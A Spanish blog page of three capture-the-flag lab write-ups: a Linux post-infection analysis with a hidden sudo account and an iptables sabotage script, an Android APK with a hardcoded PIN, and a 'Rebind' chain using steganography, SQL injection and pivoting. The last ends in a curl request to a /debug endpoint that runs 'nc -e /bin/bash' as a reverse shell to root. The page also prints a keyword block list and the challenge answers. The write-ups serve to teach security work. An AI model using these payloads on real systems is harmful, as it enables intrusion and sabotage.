Revisión manual de registros personalizados
Correlación básica de indicadores entre servicios y artefactos locales
Análisis controlado de scripts cifrados en laboratorio

El amigo: una infección sencilla pensada para enseñar persistencia, sabotaje y cuentas ocultas

Oscar — Fri, 20 Mar 2026 00:00:00 GMT

Máquina creada por: Oscar
Plataforma: The Hackers Labs
Sistema operativo: Linux
Dificultad: media

Sobre este CTF

Esta máquina la diseñé como un laboratorio de análisis de infección con una idea muy concreta: mostrar cómo una intrusión relativamente simple puede degradar un sistema sin necesidad de desplegar una cadena especialmente sofisticada.

El objetivo no era construir una colección de trucos aislados, sino una secuencia coherente de acciones que obligara a leer el sistema como lo haría alguien en una tarea de respuesta ante incidentes. Por eso el foco no está en “llegar a una flag”, sino en reconstruir qué ha hecho el atacante, cómo ha mantenido presencia en la máquina y de qué forma ha alterado el comportamiento normal del equipo.

En este caso quise representar tres decisiones típicas dentro de una infección con impacto operativo claro:

la creación masiva de cuentas para introducir ruido y dificultar el análisis;
la existencia de una cuenta privilegiada oculta entre ese ruido;
la persistencia mediante un servicio malicioso que altera la conectividad redirigiendo tráfico.

La gracia del laboratorio no está en resolver preguntas sueltas, sino en entender la intención de cada fase. Cada evidencia está puesta para forzar una lectura técnica: no basta con ver que algo falla, hay que explicar por qué falla y qué decisión de diseño hay detrás.

Información técnica

Campo	Valor
Nombre	El amigo
IP objetivo	No especificada en las notas
Servicios	Persistencia mediante servicio systemd malicioso
Cadena principal	Creación masiva de usuarios, cuenta privilegiada oculta y redirección de tráfico
Dificultad	Media

Contexto del laboratorio

El escenario parte de algo cotidiano: un usuario doméstico que instala o ejecuta algo que no debería y, a partir de ahí, el sistema deja de comportarse con normalidad. Elegí este enfoque porque obliga a pensar menos en la explotación clásica y más en el análisis posterior: qué ha cambiado, qué artefactos permanecen y cómo distinguir ruido de evidencia útil.

Ese planteamiento también ayuda a salir del patrón habitual de muchos retos técnicos en los que toda la atención se la lleva la intrusión inicial. Aquí lo importante es lo que queda después. La máquina está construida para que el participante tenga que responder preguntas concretas, pero el aprendizaje real aparece al relacionarlas entre sí.

Revisión de cuentas creadas

Una de las primeras piezas que quise introducir en este laboratorio fue la creación masiva de usuarios con un patrón común. A nivel técnico, esto permite detectar que el sistema ha sido manipulado; a nivel didáctico, sirve para enseñar que no todas las cuentas nuevas tienen el mismo valor analítico.

La evidencia más evidente aparece al revisar los directorios personales:

jony@jony-VirtualBox:~$ ls /home/
challangue00  challangue07  challangue14  challangue21  challangue28  challangue35  challangue42  challangue49
challangue01  challangue08  challangue15  challangue22  challangue29  challangue36  challangue43  challangue50
challangue02  challangue09  challangue16  challangue23  challangue30  challangue37  challangue44  jony
challangue03  challangue10  challangue17  challangue24  challangue31  challangue38  challangue45
challangue04  challangue11  challangue18  challangue25  challangue32  challangue39  challangue46
challangue05  challangue12  challangue19  challangue26  challangue33  challangue40  challangue47
challangue06  challangue13  challangue20  challangue27  challangue34  challangue41  challangue48

Pero el diseño no se queda en lo visible. La intención era obligar a no confiar solo en el listado de /home/, sino a contrastarlo con la base real de cuentas del sistema. Por eso la comprobación relevante está en /etc/passwd:

awk -F: '/^challangue/ {print $1, $6}' /etc/passwd
challangue00 /home/challangue00
challangue01 /home/challangue01
challangue02 /home/challangue02
challangue03 /home/challangue03
challangue04 /home/challangue04
challangue05 /home/challangue05
challangue06 /home/challangue06
challangue07 /home/challangue07
challangue08 /home/challangue08
challangue09 /home/challangue09
challangue10 /home/challangue10
challangue11 /home/challangue11
challangue12 /home/challangue12
challangue13 /home/challangue13
challangue14 /home/challangue14
challangue15 /home/challangue15
challangue16 /home/challangue16
challangue17 /home/challangue17
challangue18 /home/challangue18
challangue19 /home/challangue19
challangue20 /home/challangue20
challangue21 /home/challangue21
challangue22 /home/challangue22
challangue23 /home/challangue23
challangue24 /home/challangue24
challangue25 /home/challangue25
challangue26 /home/challangue26
challangue27 /home/challangue27
challangue28 /home/challangue28
challangue29 /home/challangue29
challangue30 /home/challangue30
challangue31 /home/challangue31
challangue32 /home/challangue32
challangue33 /home/challangue33
challangue34 /home/challangue34
challangue35 /home/challangue35
challangue36 /home/challangue36
challangue37 /home/challangue37
challangue38 /home/challangue38
challangue39 /home/challangue39
challangue40 /home/challangue40
challangue41 /home/challangue41
challangue42 /home/challangue42
challangue43 /home/challangue43
challangue44 /home/challangue44
challangue45 /home/challangue45
challangue46 /home/challangue46
challangue47 /home/challangue47
challangue48 /home/challangue48
challangue49 /home/challangue49
challangue50 /home/challangue50
challangue1O /home/.hidden_challangue1O

La clave de esta fase está en esa última entrada. No me interesaba solo que el jugador contara usuarios, sino que detectara que entre decenas de cuentas aparentemente homogéneas hay una distinta: su home no sigue el mismo patrón visible y, además, el nombre está pensado para provocar errores de lectura rápida.

El recuento final queda así:

jony@jony-VirtualBox:~$ awk -F: '/^challangue/ {print $1}' /etc/passwd | wc -l
52

La respuesta correcta es 52, pero lo importante es el porqué del diseño: quería representar una técnica sencilla de ocultación basada en volumen y naming engañoso. En entornos reales no siempre se esconde algo sofisticado; muchas veces basta con enterrarlo entre artefactos repetitivos para que pase desapercibido en una revisión superficial.

La cuenta privilegiada dentro del ruido

Una vez introducido el ruido, la siguiente decisión de diseño era colocar dentro de él la cuenta realmente relevante. No quería que el hallazgo dependiera de una vulnerabilidad, sino de una buena lectura de atributos del sistema: UID, GID y grupos suplementarios.

La comprobación que deja clara esa diferencia es esta:

jony@jony-VirtualBox:~$ id challangue1O
uid=65000(challangue1O) gid=65000(hidden_group) grupos=65000(hidden_group),27(sudo)

La respuesta pedida por el laboratorio es 65000, pero el punto interesante no es solo el número. Lo importante es que esa cuenta, aparentemente una más dentro del patrón challangueXX, tiene privilegios efectivos al pertenecer al grupo sudo.

Diseñé esta fase para enseñar dos cosas. La primera es que revisar únicamente nombres de usuario no basta; hay que mirar contexto de privilegios. La segunda es que un atacante no necesita crear una cuenta con un nombre escandalosamente evidente para mantener acceso útil. Le basta con incrustarla en una estructura que parezca desordenada pero inocua.

También me interesaba reflejar un error operativo bastante real: organizaciones que revisan altas de cuentas por volumen, pero no cruzan bien esa información con memberships privilegiados. En ese tipo de escenarios, el problema no es la cuenta en sí, sino su capacidad efectiva dentro del sistema.

Persistencia mediante systemd

La siguiente pieza del laboratorio era la persistencia. Aquí quise evitar mecanismos excesivamente rebuscados y optar por uno muy reconocible y, precisamente por eso, muy útil como aprendizaje: un servicio systemd malicioso.

La evidencia aparece al listar unidades de servicio:

systemctl list-units --type=service --all
● che.service                              loaded    failed   failed  Disable DNS on boot

El nombre del servicio malicioso es che.service.

La decisión de dejarlo en estado fallido no es casual. Está pensada para que el participante no busque solo servicios activos, sino también unidades cargadas o fallidas que sigan siendo relevantes dentro del historial del sistema. En muchos análisis rápidos se filtra demasiado pronto por “lo que está corriendo ahora” y se pierde contexto de persistencia o sabotaje.

Además, el texto descriptivo del servicio apunta a una narrativa engañosa: algo que aparentemente “deshabilita DNS” cuando, en realidad, el comportamiento observado tiene que ver con una manipulación de tráfico más amplia. Ese pequeño desajuste entre descripción y efecto también forma parte del aprendizaje. No todo lo que declara un artefacto malicioso coincide con su función real.

Sabotaje de red y redirección de tráfico

La fase final de la cadena se centra en el impacto visible para el usuario. En el relato del reto, el problema aparente es que “internet no funciona”. No quise plantearlo como una caída abstracta, sino como una consecuencia directa de un mecanismo de sabotaje que el analista puede reconstruir.

El script responsable aparece en el home oculto de la cuenta relevante:

sudo ls -l /home/.hidden_challangue1O/
total 4
-rwxr-xr-x 1 root root 167 mar 10 12:26 redirect.sh

Su contenido explica el síntoma:

jony@jony-VirtualBox:~$ sudo cat /home/.hidden_challangue1O/redirect.sh
#!/bin/bash
iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 0.0.0.0
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 0.0.0.0

Aquí las respuestas del reto son directas:

script de redirección: redirect.sh
IP de destino: 0.0.0.0

Pero la parte que me interesaba enseñar va más allá de esos valores. Esta fase representa un sabotaje operativo muy simple: alterar la salida HTTP y HTTPS para inutilizar la conectividad desde la propia máquina. No hace falta un malware complejo para generar impacto visible; con tocar reglas de iptables en el punto adecuado basta para romper comportamiento crítico de usuario y, al mismo tiempo, desviar la investigación hacia una falsa “caída de internet”.

También quise que el laboratorio obligara a relacionar persistencia e impacto. El servicio no existe de forma aislada: tiene sentido porque apunta a un script concreto, y ese script tiene sentido porque explica el síntoma que motiva toda la investigación. Esa continuidad es importante. La máquina está construida para que cada artefacto responda a una decisión de diseño y no parezca una colección arbitraria de indicadores.

Qué quería enseñar al diseñar el amigo

Este laboratorio lo construí para enseñar una cadena pequeña pero coherente de post-infección en Linux. No hace falta una intrusión especialmente aparatosa para comprometer la operativa de un sistema y dejar persistencia útil. De hecho, uno de los aprendizajes más reutilizables es precisamente ese: muchas incidencias “menores” esconden cambios muy básicos pero bien colocados.

La secuencia que quise reflejar fue esta:

el atacante crea volumen artificial mediante cuentas repetitivas;
inserta entre ellas una cuenta con privilegios;
deja persistencia mediante systemd;
ejecuta sabotaje de conectividad con reglas NAT sobre tráfico saliente.

Esa cadena tiene sentido fuera del CTF porque combina tres categorías de fallo muy comunes en incidentes reales: falta de control sobre identidades locales, escasa revisión de persistencia en servicios del sistema y visibilidad insuficiente sobre cambios en reglas de red del host.

Fase	Qué enseña	Error representado
Creación masiva de usuarios	Distinguir ruido de evidencia útil	Falta de control sobre cuentas locales
Cuenta oculta con privilegios	Revisar privilegios efectivos y no solo nombres	Escalada o persistencia basada en membresías privilegiadas
Servicio `che.service`	Enumerar persistencia más allá de procesos visibles	Confianza excesiva en revisiones superficiales de `systemd`
`redirect.sh` con `iptables`	Relacionar síntoma funcional con sabotaje del host	Manipulación local de tráfico sin necesidad de malware complejo
Redirección a `0.0.0.0`	Entender impacto operativo directo en navegación	Ruptura deliberada de conectividad como cobertura o sabotaje

Si tuviera que resumir la intención del laboratorio en una sola idea, sería esta: quise construir una máquina en la que el participante no “explota” nada, sino que aprende a leer una infección sencilla con criterio. Ese era el valor real del reto.

Recursos y referencias

Documentación de systemd para revisión de unidades y persistencia.
Manual de iptables para interpretar reglas NAT en salida.
Revisión de /etc/passwd, grupos y memberships como parte básica de análisis de compromiso en Linux.

PinBreaker: una app Android pensada para enseñar por qué ocultar secretos en cliente no funciona

Oscar — Fri, 20 Mar 2026 00:00:00 GMT

Máquina creada por: Oscar
Plataforma: The Hackers Labs
Sistema operativo: Android
Dificultad: principiante

Sobre este CTF

Este laboratorio lo diseñé para enseñar una idea muy concreta: cuando un secreto crítico queda embebido en el cliente, la validación deja de ser un control real y pasa a ser simplemente una barrera superficial. En este caso, la aplicación pide un PIN y sugiere que, una vez encontrado, se calcule su SHA256 para obtener la flag. La parte importante no es “romper” la app, sino entender qué decisión de diseño la hace débil desde el principio.

La cadena aquí es deliberadamente corta y directa. No buscaba construir una APK llena de trucos, ofuscación agresiva o rutas artificiales, sino obligar a mirar el binario con criterio: descompilar, localizar el punto de entrada lógico y revisar cómo se valida la entrada del usuario. El aprendizaje que quería forzar es muy reutilizable fuera de un CTF: si una aplicación cliente contiene el valor esperado o la lógica completa de validación, cualquiera con acceso al paquete puede reconstruirla.

También quise que el laboratorio sirviera como recordatorio de algo básico pero todavía frecuente en entornos reales: no se deben confiar secretos ni decisiones de autorización al lado cliente. En un reto pequeño esto se ve en forma de PIN hardcodeado; en escenarios reales aparece como claves embebidas, validaciones offline mal planteadas, feature flags sensibles o lógica de negocio que debería residir en servidor.

Información técnica

Campo	Valor
Nombre	PinBreaker
IP objetivo	No aplica
Servicios	Aplicación Android (.apk)
Cadena principal	Descompilación de la APK → revisión de `MainActivity` → extracción del PIN hardcodeado → cálculo de SHA256
Dificultad	Principiante

Descubrimiento del artefacto

El punto de partida es simplemente la APK proporcionada en el laboratorio:

oscar@oscar-System-Product-Name:~/CTF$ ls -la
total 4915
drwxrwxr-x  2 oscar oscar       3 mar  1 16:42 .
drwxr-x--- 37 oscar oscar      57 mar  1 16:41 ..
-rw-rw-r--  1 oscar oscar 5777184 mar  1 16:41 PinBreaker.apk

Aquí no hay superficie de red ni un servicio que enumerar. La fase de reconocimiento consiste en identificar correctamente el tipo de objetivo y elegir el enfoque adecuado. Ese detalle forma parte del diseño del reto: quería que el análisis arrancase desde ingeniería inversa básica, no desde automatismos de enumeración típicos de máquinas Linux o Windows.

Lo que representa esta fase en términos de aprendizaje es sencillo: antes de atacar nada, hay que entender qué se tiene delante. En este caso, el valor pedagógico está en reconocer que la fuente de verdad probablemente esté dentro del paquete y que, por tanto, revisar la APK es el camino natural.

Descompilación y revisión inicial

El siguiente paso fue descompilar la aplicación con jadx:

oscar@oscar-System-Product-Name:~/CTF$ jadx -d PinBreaker_jadx PinBreaker.apk 
INFO  - loading ...
INFO  - processing ...
ERROR - finished with errors, count: 32

Aunque la salida muestra errores, en este caso no impiden el análisis útil del binario. jadx genera igualmente la estructura de trabajo:

oscar@oscar-System-Product-Name:~/CTF/PinBreaker_jadx$ ls
resources  sources

Este detalle también me interesaba como parte del laboratorio. En escenarios reales, las herramientas de reversing no siempre producen una reconstrucción perfecta. Aun así, eso no significa que el análisis haya fracasado. Muchas veces basta con recuperar las clases relevantes y seguir el flujo principal. El reto está construido para que el alumno no se bloquee por mensajes ruidosos de herramienta y se centre en lo importante: si el código sensible se ha recuperado, el problema ya es visible.

Localización de la lógica principal

Una vez generada la estructura, el siguiente movimiento fue localizar la actividad principal:

oscar@oscar-System-Product-Name:~/CTF/PinBreaker_jadx$ find -name "MainActivity*"
./sources/com/pinbreaker/ctf/MainActivity.java

La ruta encontrada fue:

./sources/com/pinbreaker/ctf/MainActivity.java

Diseñé esta fase para que el recorrido fuese legible y útil para quien está empezando a analizar aplicaciones móviles. No hacía falta perseguir múltiples clases, servicios secundarios ni mecanismos de carga dinámica. La intención era que el alumno asociase rápidamente la interfaz con la lógica que procesa el PIN y entendiese cómo una comprobación aparentemente inocente puede revelar el secreto completo.

Este tipo de revisión es relevante fuera del CTF porque muchas implementaciones móviles siguen concentrando decisiones sensibles en clases muy predecibles: actividades principales, controladores de login, validadores locales o utilidades de configuración. La simplicidad de acceso a esa lógica es, precisamente, el problema.

Extracción del PIN embebido

Al revisar MainActivity.java, aparece la validación del PIN:

package com.pinbreaker.ctf;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import androidx.constraintlayout.widget.ConstraintLayout;
import kotlin.Metadata;
import kotlin.jvm.internal.Intrinsics;

public final class MainActivity extends AppCompatActivity {
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Button unlockButton = (Button) findViewById(R.id.unlockButton);
        final EditText pinInput = (EditText) findViewById(R.id.pinInput);
        final TextView result = (TextView) findViewById(R.id.result);
        unlockButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public final void onClick(View view) {
                MainActivity.onCreate$lambda$0(pinInput, this, result, view);
            }
        });
    }

    private static final void onCreate$lambda$0(EditText $pinInput, MainActivity this$0, TextView $result, View it) {
        String pin = $pinInput.getText().toString();
        if (this$0.checkPin(pin)) {
            $result.setText("✅ PIN correcto. Calcula su hash SHA256 para obtener la flag.");
        } else {
            $result.setText("❌ PIN incorrecto");
        }
    }

    private final boolean checkPin(String pin) {
        return Intrinsics.areEqual(pin, "8524947156");
    }
}

La clave está en esta línea:

return Intrinsics.areEqual(pin, "8524947156");

El PIN correcto es, por tanto:

8524947156

Aquí está el núcleo del laboratorio. Quería mostrar de la forma más limpia posible el error de diseño: la aplicación contiene el valor esperado y realiza la comparación localmente. No hay una comprobación remota, no hay separación entre interfaz y decisión de seguridad, y no hay nada que realmente proteja el secreto una vez el atacante dispone del APK.

Ese patrón es pequeño, pero representa un fallo muy real. En producción no siempre adopta la forma de un PIN. A veces es una API key incrustada, una contraseña de servicio, un token de prueba olvidado, una comprobación de licencia local o una validación de privilegios que debería vivir en backend. El problema de fondo es el mismo: confiar en que el cliente va a ocultar algo que, por definición, se entrega al usuario.

Obtención de la flag

Una vez recuperado el PIN, la propia aplicación y el enunciado indican que la flag se obtiene calculando su hash SHA256. El cálculo se hizo así:

oscar@oscar-System-Product-Name:~/CTF/PinBreaker_jadx$ echo "8524947156" | sha256sum
2a4be6606b9490b9955c7aac8e856c8e3098f9b15e98a8985ce5c192049c96ef

Con las notas disponibles, la flag resultante es:

2a4be6606b9490b9955c7aac8e856c8e3098f9b15e98a8985ce5c192049c96ef

Hay, no obstante, un matiz técnico importante. El comando mostrado usa echo sin -n, así que introduce un salto de línea al final antes de pasar la cadena a sha256sum. Eso significa que el hash calculado corresponde a 8524947156\n, no necesariamente al texto desnudo 8524947156. No lo corrijo porque no hay que inventar ni alterar el comportamiento reflejado en las notas, pero sí conviene dejar constancia de ello: en un laboratorio así, ese tipo de detalle puede ser intencionado o simplemente una consecuencia operativa del comando usado.

También hay aprendizaje aquí. Incluso cuando el secreto ya se ha recuperado, sigue siendo necesario respetar exactamente la transformación pedida. En seguridad ofensiva y en análisis de aplicaciones, los detalles de formato importan.

Qué quería enseñar al diseñar PinBreaker

La idea de fondo en este CTF era enseñar una cadena mínima pero muy clara: entregar la lógica de validación y el secreto al cliente equivale a renunciar a protegerlos. No hace falta explotar memoria, interceptar tráfico ni abusar de componentes complejos. Basta con inspeccionar el paquete y leer con atención.

Más que un walkthrough, este laboratorio está pensado como una demostración de criterio: revisar dónde vive la validación, preguntarse quién controla realmente el secreto y entender que la ofuscación ligera o la simple compilación no son medidas de protección.

Fase	Qué enseña	Error representado
Identificación de la APK	Elegir el enfoque según el tipo de objetivo	Tratar un binario cliente como si fuera una caja negra
Descompilación con `jadx`	Obtener visibilidad suficiente aunque haya errores parciales	Confiar en que compilar u ofuscar mínimamente oculta la lógica
Revisión de `MainActivity`	Seguir el flujo principal de una validación local	Colocar decisiones sensibles en el lado cliente
Extracción del PIN	Recuperar secretos embebidos desde código descompilado	Hardcoding de credenciales o valores de acceso
Cálculo del SHA256	Respetar exactamente la transformación pedida	Ignorar detalles de formato al derivar artefactos de seguridad

La cadena tiene sentido fuera del entorno CTF porque el patrón sigue apareciendo en software real. Cada vez que una app móvil, de escritorio o incluso una SPA contiene secretos o validaciones críticas que deberían residir en servidor, el problema es esencialmente el mismo que aquí, solo con más capas alrededor.

Recursos y referencias

jadx, para descompilación y revisión estática de aplicaciones Android.
sha256sum, para derivar la flag a partir del PIN recuperado.
Buenas prácticas de seguridad en aplicaciones móviles: no almacenar secretos sensibles ni lógica de autorización en cliente.

Rebind: una cadena diseñada para enseñar cómo pequeños fallos terminan en compromiso total

Oscar — Fri, 20 Mar 2026 00:00:00 GMT

Máquina creada por: Oscar
Plataforma: The Hackers Labs
Sistema operativo: Linux
Dificultad: Avanzada

Sobre este CTF

Este laboratorio lo diseñé como una cadena en dos fases, no como una máquina aislada ni como una colección de trucos independientes. La idea era obligar a leer el contexto completo: primero entender cómo una pista aparentemente decorativa en el servidor inicial termina siendo útil, después utilizar ese acceso para desbloquear un segundo sistema que, en condiciones normales, no expone superficie útil.

La máquina está construida para enseñar una secuencia concreta de errores: exposición innecesaria de información en una web, uso de esteganografía como canal de entrega de una pista real, una inyección SQL que no solo sirve para extraer datos sino para reconstruir una contraseña a partir de fragmentos, y finalmente una fase en la que el acceso a un segundo servidor depende tanto de credenciales válidas como de estar en la red correcta. El cierre de la cadena llega con un servicio que se activa tras autenticación y que contiene una funcionalidad de depuración mal resuelta, suficiente para terminar en ejecución remota como root.

El valor del laboratorio no está en llegar al final, sino en entender por qué cada fase existe y qué representa. Quise que el recorrido dejara claro que muchos compromisos reales no dependen de una única vulnerabilidad crítica, sino de varias decisiones pequeñas que, combinadas, abren una ruta completa.

Información técnica

Campo	Valor
Nombre	servidor1 / servidor2
IP objetivo	10.0.1.13 y 10.0.50.100
Servicios	SSH, MySQL, Redis, HTTP en 8080, servicio web temporal en 5000
Cadena principal	pista en web → esteganografía → SQLi → acceso SSH condicionado → activación de servicio → abuso de endpoint de depuración
Dificultad	media

Descubrimiento de la máquina

El laboratorio arranca realmente en servidor2, pero ese sistema está planteado como un señuelo inicial: no expone puertos útiles hasta que el jugador resuelve antes servidor1.

sudo nmap -p- --open -sSCV --min-rate 3000 10.0.50.100 -vvv

El resultado inicial no ofrecía superficie de ataque práctica. Eso no era un bloqueo arbitrario, sino una decisión de diseño: quería que quedara claro que no todo servicio debe ser atacable de forma inmediata y que, en algunos entornos, la exposición real depende de acciones previas, autenticaciones o cambios de estado.

Ese planteamiento obliga a dejar de pensar en hosts aislados y a leer el laboratorio como una cadena. Por eso la enumeración útil comienza en servidor1.

Reconocimiento de servidor1

La enumeración del primer host sí mostraba una superficie clara:

22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3
3306/tcp  open  mysql   MySQL (unauthorized)
6379/tcp  open  redis?  protected mode
8080/tcp  open  http    Apache httpd 2.4.62 ((Debian))
33060/tcp open  mysqlx?

A nivel de diseño, aquí quise representar algo bastante habitual: varios servicios visibles, pero solo uno de verdad útil para construir contexto. Ni MySQL ni Redis eran el camino directo en esta fase. Redis, de hecho, respondía con el mensaje de protected mode, lo que servía para introducir ruido razonable y recordar que la mera exposición de un puerto no siempre equivale a una vía explotable.

La pieza importante era la web en el puerto 8080.

Enumeración web y pista embebida

El código fuente de la aplicación mostraba varios detalles relevantes:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Reto de Navidad</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <h1>🎄 Bienvenido a la Noche Helada 🎄</h1>
        <p>Entre la nieve y las sombras, alguien dejó un mensaje...</p>
        <p class="mensaje">
            "Cuando la oscuridad te envuelva, busca las palabras perdidas<br>
            y la contraseña te mostrará el camino".
        </p>
        <p>Acceso SSH: <b>ssh finaluser@IP</b> / <b>1234</b></p>
        <p>Pero cuidado... no todo lo que brilla es una pista.</p>
        <p>thehackerslabs.com</p>
    </div>
</body>
</html>

El mensaje visible ya sugería dos ideas: había que “buscar las palabras perdidas” y la contraseña no iba a aparecer de forma directa. Además, la referencia a thehackerslabs.com parecía decorativa, pero en realidad estaba colocada para ser reutilizada más adelante.

En el CSS aparecía la imagen de fondo:

body {
    margin: 0;
    padding: 0;
    background-image: url('img/background.jpg');
    background-size: cover;
    background-position: center;
    background-attachment: fixed;
    color: #ddd;
    font-family: 'Arial', sans-serif;
    text-align: center;
}

Aquí la intención de diseño era muy concreta: enseñar que el frontend también forma parte de la superficie de ataque. No solo el HTML, también recursos estáticos, comentarios, nombres de archivos y contenido multimedia pueden actuar como portadores de información útil. En auditorías reales esto aparece con frecuencia en forma de ficheros olvidados, imágenes con metadatos, binarios de cliente o assets publicados sin revisión.

Esteganografía como canal de entrega

La imagen background.jpg contenía información adjunta. El uso de steghide con la cadena sugerida en la propia página permitió extraer un mensaje:

steghide extract -sf background.jpg -p "thehackerslabs.com"
cat mensaje.txt

Resultado:

thl.rebind

Esa cadena llevaba a un nuevo punto de entrada dentro del mismo laboratorio. No me interesaba usar la esteganografía como truco aislado, sino como forma de forzar una enumeración menos superficial. La enseñanza aquí es simple: cuando una aplicación parece demasiado pobre para justificar el escenario, normalmente hay que revisar lo accesorio, no insistir a ciegas contra el mismo endpoint.

Enumeración del dominio y acceso a la parte vulnerable

Una vez resuelto el nombre thl.rebind, aparecía una funcionalidad que exigía realizar la inyección SQL correctamente. En las notas no se conserva toda la secuencia de payloads, pero sí el resultado relevante: de esa fase se obtuvieron cuatro bloques codificados en Base64.

QWJjMTIzWHl6NDU2
UXd1Nzg5UnR5MDAw
V1lvMTEzUGFzMjIy
SmtseDMzM01ubzQ0NA==

Decodificados:

echo "QWJjMTIzWHl6NDU2" | base64 -d   # Abc123Xyz456
echo "UXd1Nzg5UnR5MDAw" | base64 -d   # Qwe789Rty000
echo "V1lvMTEzUGFzMjIy" | base64 -d   # Uio111Pas222
echo "SmtseDMzM01ubzQ0NA==" | base64 -d   # Jklx333Mno444

Concatenación inicial:

Abc123Xyz456Qwe789Rty000Uio111Pas222Jklx333Mno444

Esta parte del laboratorio estaba pensada para que la inyección no se percibiera como un fin en sí mismo. Extraer datos desde SQL era solo el paso intermedio. Lo importante era interpretar la salida y reconstruir una credencial a partir de fragmentos con patrón. En una intrusión real, muchas veces el problema no es exfiltrar el dato, sino reconocer cuál de todos los datos extraídos es operativo y cuál contiene ruido o manipulación.

Obtención de acceso inicial y validación lógica de la contraseña

La propia web incluía una pista adicional:

Acceso SSH: ssh grinch@10.0.1.13 / felicidad

Con esa información fue posible autenticarse por SSH como grinch, pero el acceso estaba condicionado a introducir una “contraseña mágica” adicional:

ssh grinch@10.0.1.13

Al introducir la concatenación obtenida directamente, el sistema respondía:

🕵️ Hmm... Todo parece correcto, pero...
📜 Todo sigue un patrón lógico, pero a veces un impostor altera la melodía final.

La clave no era puramente técnica, sino de análisis. Los cuatro bloques seguían un patrón alfabético y numérico coherente, salvo una x sobrante en el último fragmento. Ajustando esa anomalía, la contraseña válida quedaba así:

Abc123Xyz456Qwe789Rty000Uio111Pas222Jkl333Mno444

Ese era un punto importante en el diseño de la máquina. No quería que todo se resolviera acumulando comandos. Quise introducir una fase donde el progreso dependiera de observar regularidades, detectar una corrupción mínima y corregirla. Ese tipo de validación es muy útil fuera del CTF: credenciales truncadas, datos alterados por formato, secretos montados con partes inconsistentes o cadenas deliberadamente contaminadas son problemas bastante plausibles en escenarios reales.

La ejecución correcta devolvía la transición al segundo servidor:

Servidor 2: 10.0.50.100:22
trueno / !x2T#9aL@Mv
¡Recuerda...! Pareces listo... pero solo los elfos con suerte saben que 10.0.5.80 es el camino.

Pivoting hacia servidor2

Con credenciales válidas para servidor2, una conexión directa desde la red 10.0.50.0/24 no funcionaba como cabría esperar. La pista entregada durante la fase anterior apuntaba a otra dirección local, y tras ajustar la interfaz del atacante para adoptar la IP adecuada, el comportamiento cambió.

ssh trueno@10.0.50.100

Respuesta:

El servicio ha sido iniciado. Cerrando sesion...

A partir de ese momento, un nuevo escaneo del host mostraba una superficie distinta:

22/tcp   open  ssh
5000/tcp open  upnp?

Quise que esta fase enseñara dos cosas. La primera, que disponer de credenciales no siempre equivale a disponer de acceso útil: el contexto de red importa. La segunda, que existen servicios que solo aparecen tras una autenticación previa, un disparador o una condición operacional concreta. En infraestructuras internas esto puede verse en paneles efímeros, servicios de mantenimiento temporales o procesos de inicialización activados por usuarios concretos.

Análisis del servicio temporal en el puerto 5000

El servicio expuesto en 5000/tcp presentaba una interfaz web con restricciones sobre determinadas palabras clave. Si se repetían cuatro veces, el servicio se apagaba por seguridad. Las cadenas filtradas eran:

__import__
os
system_
eval
subprocess
su
sudo

Esa defensa estaba puesta para representar un error bastante típico: confiar en bloqueos por palabras prohibidas en lugar de eliminar realmente la capacidad peligrosa. El objetivo no era construir un sandbox robusto, sino mostrar lo endeble que resulta una validación basada en listas negras cuando detrás existe un mecanismo de ejecución insuficientemente aislado.

Además, durante la enumeración aparecía un directorio /debug que no aceptaba GET, lo que indicaba una funcionalidad accesible por otro método HTTP.

Abuso del endpoint de depuración

El comportamiento de /debug sugería que el servicio esperaba una petición POST con contenido JSON. Con esa hipótesis se envió el siguiente payload:

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"code": "nc -e /bin/bash 10.0.50.80 8945"}' \
  http://10.0.50.100:5000/debug

En el atacante, un listener confirmó la ejecución remota:

sudo nc -lvnp 8945

Y la conexión devolvió contexto de root:

connect to [10.0.50.80] from (UNKNOWN) [10.0.50.100] 57496
whoami
root

Esta era la culminación de toda la cadena. Técnicamente no hacía falta una explotación compleja: bastaba con entender que el servicio exponía una funcionalidad de depuración capaz de ejecutar código arbitrario o comandos del sistema sin separación efectiva. A nivel de diseño, esa era precisamente la lección. Muchas brechas no llegan por una vulnerabilidad sofisticada, sino por herramientas internas, paneles de test, modos debug o endpoints pensados para desarrollo que terminan accesibles desde donde no deberían.

Escalada de privilegios

En este caso la escalada no fue una fase separada, porque el propio abuso del endpoint de depuración ya entregaba una shell como root.

whoami
root
cd /
ls
bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old

Diseñé así el cierre de la máquina porque el foco no estaba en encadenar una post-explotación larga, sino en mostrar que una mala exposición de capacidades de depuración puede equivaler directamente a compromiso total. Es una idea importante: no toda escalada necesita un local privilege escalation clásico. A veces el privilegio ya venía implícito en el servicio vulnerable.

Qué quería enseñar al diseñar este CTF

La intención del laboratorio era enseñar una cadena coherente, donde cada paso tuviera sentido por sí mismo y también como preparación del siguiente. No me interesaba una sucesión de pruebas inconexas, sino una progresión donde la enumeración, la interpretación de pistas, el contexto de red y la exposición insegura de herramientas internas formasen parte del mismo problema.

Fase	Qué enseña	Error representado
Web inicial	La superficie visible rara vez es toda la superficie real	Pistas y recursos expuestos sin revisión
Imagen con stego	Los ficheros auxiliares también pueden contener secretos operativos	Publicación insegura de recursos estáticos
Dominio oculto y SQLi	Extraer datos no basta; hay que interpretarlos correctamente	Entrada vulnerable y protección insuficiente
Reconstrucción de contraseña	El análisis lógico complementa a la técnica	Secretos fragmentados o contaminados
Acceso a servidor2	Las credenciales dependen del contexto de red	Segmentación, control de origen y servicios condicionados
Servicio en 5000	Los servicios temporales o internos también cuentan	Exposición de paneles o componentes auxiliares
Endpoint `/debug`	Una funcionalidad de depuración puede equivaler a RCE directa	Debug inseguro y filtros basados en blacklist
Shell root	El impacto final depende del privilegio del servicio expuesto	Ejecución de procesos privilegiados sin aislamiento

